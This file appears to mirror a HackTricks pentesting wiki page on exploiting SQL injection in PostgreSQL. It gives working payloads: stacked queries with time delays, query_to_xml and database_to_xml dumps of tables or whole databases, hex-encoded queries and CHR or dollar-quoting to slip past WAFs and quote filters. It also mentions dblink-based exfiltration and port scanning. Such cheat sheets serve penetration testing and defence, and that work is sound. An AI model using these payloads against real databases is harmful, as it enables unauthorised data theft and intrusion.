overview.md (5264B)
1 --- 2 title: "PostgreSQL injection" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/sql-injection/postgresql-injection/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/postgresql-injection/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PostgreSQL injection 14 15 --- 16 17 **This page explains techniques that can help exploit SQL injection in PostgreSQL and complements the examples in** [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md).<sup>[[1]](#references)</sup> 18 19 ## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration 20 21 The PostgreSQL `dblink` module can connect to other PostgreSQL instances and open outbound TCP connections. These features, combined with `COPY FROM`, can enable privilege escalation, port scanning, NTLM challenge-response capture, and exfiltration. See the [detailed attack techniques](/hacktricks/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure). 22 23 ### **Exfiltration example using dblink and large objects** 24 25 You can [**read this example**](/hacktricks/pentesting-web/sql-injection/postgresql-injection/dblink-lo-import-data-exfiltration) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`. 26 27 ## PostgreSQL Attacks: Read/Write, RCE, and Privilege Escalation 28 29 Check how to compromise the host and escalate privileges from PostgreSQL in: 30 31 32 [Pentesting Postgresql](/hacktricks/network-services-pentesting/pentesting-postgresql) 33 34 ## WAF bypass 35 36 ### PostgreSQL String functions 37 38 Manipulating strings could help you to **bypass WAFs or other restrictions**.\ 39 The PostgreSQL string-functions reference provides useful building blocks for payload construction.<sup>[[4]](#references)</sup> 40 41 ### Stacked Queries 42 43 PostgreSQL supports multiple statements in a simple-query message, but whether a SQL-injection sink accepts stacked queries depends on its client library and execution API. Even when a second result cannot be returned cleanly, a time-based side effect such as `pg_sleep` may still be observable.<sup>[[2]](#references)</sup> 44 45 ```text 46 id=1; select pg_sleep(10);-- - 47 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - 48 ``` 49 50 ### XML tricks 51 52 **query_to_xml** 53 54 This function returns a query result as one XML value, which can collapse many rows into one response. Large results can consume substantial server and client memory.<sup>[[3]](#references)</sup> 55 56 ```sql 57 SELECT query_to_xml('select * from pg_user',true,true,''); 58 ``` 59 60 **database_to_xml** 61 62 This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client): 63 64 ```sql 65 SELECT database_to_xml(true,true,''); 66 ``` 67 68 ### Strings in Hex 69 70 If you can run **queries** passing them **inside a string** (for example using the **`query_to_xml`** function). **You can use the convert_from to pass the string as hex and bypass filters this way:** 71 72 ```sql 73 select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8'); 74 75 # Bypass via stacked queries + error based + query_to_xml with hex 76 ;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h 77 78 # Bypass via boolean + error based + query_to_xml with hex 79 1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- - 80 ``` 81 82 ### Forbidden quotes 83 84 If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_): 85 86 ```text 87 SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); 88 ``` 89 90 Or with `$`. This queries return the same results: 91 92 ```text 93 SELECT 'hacktricks'; 94 SELECT $$hacktricks$$; 95 SELECT $TAG$hacktricks$TAG$; 96 ``` 97 98 ## References 99 100 - [1] [PayloadsAllTheThings – PostgreSQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) 101 - [2] [PostgreSQL documentation — Simple Query protocol](https://www.postgresql.org/docs/current/protocol-flow.html#PROTOCOL-FLOW-MULTI-STATEMENT) 102 - [3] [PostgreSQL documentation — XML functions](https://www.postgresql.org/docs/current/functions-xml.html) 103 - [4] [PostgreSQL Tutorial — String functions](https://www.postgresqltutorial.com/postgresql-string-functions/)